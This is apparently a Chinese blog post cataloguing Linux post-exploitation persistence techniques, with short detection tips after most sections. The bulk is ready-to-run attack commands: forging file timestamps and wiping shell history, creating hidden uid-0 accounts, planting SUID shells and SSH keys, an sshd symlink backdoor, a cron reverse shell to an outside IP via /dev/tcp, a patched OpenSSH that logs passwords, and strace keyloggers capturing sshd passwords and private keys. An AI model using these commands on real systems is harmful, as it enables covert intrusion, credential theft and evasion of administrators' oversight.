0%

权限维持-Linux篇

Linux权限维持

0x00 隐藏技巧

修改文件/终端属性

修改文件的生成时间

touch -r index.php shell.php

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件

文件锁定

Linux中使用chattr命令来防止root和其他管理用户误删除和修改重要文件以及目录,此权限是用ls -l查看不出来的。

1
2
3
4
5
6
chattr +i test.php #锁定文件
rm -rf test.php #提示禁止删除文件

lsattr test.php #属性查看
chattr -i test.php #解除锁定
rm -rf test.php #彻底删除文件
历史操作命令

[space]set +o history #备注:[space]表示空格。并且由于空格的原因,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,即执行后的命令不会记录在历史中

[space]set -o history #将环境恢复原状

删除历史记录中的指定命令

history | grep "keyword"

输出了历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

大规模删除历史操作记录

set -i '150,$d' .bash_history #只保留前150行

0x01 添加用户

添加普通用户
1
2
3
4
5
6
7
8
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
添加root用户
1
2
3
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root
-s /bin/bash -d /home/test
passwd写入

(注:现在较新的系统无法成功利用 在su切换用户时会提示用户不存在)

1
2
3
4
5
/etc/passwd 各部分含义:
⽤户名:密码:⽤户ID:组ID:身份描述:⽤户的家⽬录:⽤户登录后所使⽤的SHELL
/etc/shadow 各部分含义:
⽤户名:密码的MD5加密值:⾃系统使⽤以来⼝令被修改的天数:⼝令的最⼩修改间隔:⼝令更改的周期:⼝令失效的
天数:⼝令失效以后帐号会被锁定多少天:⽤户帐号到期时间:保留字段尚未使⽤
添加超级用户
1
$echo "test:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd

一些系统中,存放着加密后的用户口令字。虽然这个字段存放的只是用户口令的加密串,不是明文,但 是由于/etc/passwd文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统都使 用了shadow技术,把真正加密后的用户口令字段存放到/etc/shadow文件中,而在/etc/passwd文件的 口令字段中只存放了一个特殊的字符,例如"x"或者"*"

如果系统不允许uid=0的用户远程登陆,可以增加一个普通用户账号

echo "test:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow


排查
1
2
3
4
5
6
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"


0x02 SUID shell

SUID shell 是一种可用于以拥有者权限运行的shell

使用

创建suid权限的文件

1
2
3
cp /bin/bash  /tmp/.woot
chmod 4755 /tmp/.woot
ls -al /.woot

这样做相当于复制了一些新的bash到tmp目录下,然后可以在使用它时调用root权限

使用普通用户运行

1
2
/tmp/.woot
/tmp/.woot -p //bash2针对suid有一些保护措施,使用-p参数来获取一个root shell
排查
1
2
3
4
5
6
7
8
9
10
11
#查找具有suid的权限的应用
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null


# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/.woot

0x03 ssh公私钥

使用

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配,如果匹配成功就可以登录了。

客户端

ssh-keygen -t rsa

进入 /root/.ssh/文件夹即可查看到生成公私钥,id_rsa为私钥,id_rsa.pub为公钥,

将公钥复制放到目标机器上的 .ssh/authorized_keysecho id_rsa.pub >> .ssh/authorized_keys

排查

查看 /root/.ssh/authoritized_keys是否被修改


0x04 软连接

使用

通过软连接建立一个ssh后门:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=8888

(注:如果目标在执行软连接时使用的其他账户创建的,那么在登陆时也要选择 对应的账户去登录,而非root账户)

执行完后 在任意机器上使用ssh root@xxx.xxx.xxx.xxx -p 8888 即可连接

排查

通过查看端口或者进程都会发现异常连接 使用 kill -s 9 PID 杀掉进程即可清除后门

截图


0x05 crontab反弹shell

使用

cron表达式在线⽣成:http://qqe2.com/cron

  • 创建shell脚本脚本
1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1

chmod +sx etc/test.sh

  • crontab -e 设置定时任务
1
2
# 每分钟执行一次
*/1 * * * * root /etc/test.sh

重启crond服务就可用nc接受shell service cornd restart

排查

查看可疑的定时任务列表

crontab -e


0x06 OpenSSH 后门

使用

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
a、备份SSH配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
b、解压并安装补丁
tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
c、记录用户名和密码的文件位置及其密码
vi includes.h
#define ILOG "/tmp/1.txt" //记录登录本机的用户名和密码
#define OLOG "/tmp/2.txt" //记录本机登录远程的用户名和密码
#define SECRETPW "123456789" //后门的密码
d、修改版本信息
vi version.h
#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
#define SSH_PORTABLE "小版本号"
e、安装并编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart
f、对比原来的配置文件,使配置文件一致,然后修改文件日期。
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
g、清除操作记录
export HISTFILE=/dev/null
export HISTSIZE=0
echo >/root/.bash_history //清空操作日志
排查
1
2
3
4
5
6
7
8
#利用strace查找ssh后门
# 1、获取可疑进程PID
ps aux | grep sshd
# 2、跟踪sshd PID
strace -o aa -ff -p PID
# 3、查看记录密码打开文件
grep open sshd* | grep -v -e No -e null -e denied| grep WR

0x07 strace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把它当作一个键盘记录的后门,来扩大我们的信息收集范围。通过其他方式拿到shell,通过histroy,流量抓包、或者本地没有翻到密码的情况下。我们要想获取当前 主机的密码,或者是通过这台主机连接到其他主机的密码。

记录sshd进程明文密码
1
2
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e
trace=read,write -s 32 2> /tmp/.sshd.log &)

当用户通过密码登陆时,使用如下命令查看记录的密码

1
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
记录sshd私钥
1
2
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e
trace=read,write -s 4096 2> /tmp/.sshd.log &)

当用户通过私钥登陆时,使用如下命令查看记录的私钥

1
grep 'PRIVATE KEY' /tmp/.sshd.log
通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。
1
2
3
#vim /etc/bashrc或者 ~/.bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source ~/.bashrc

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------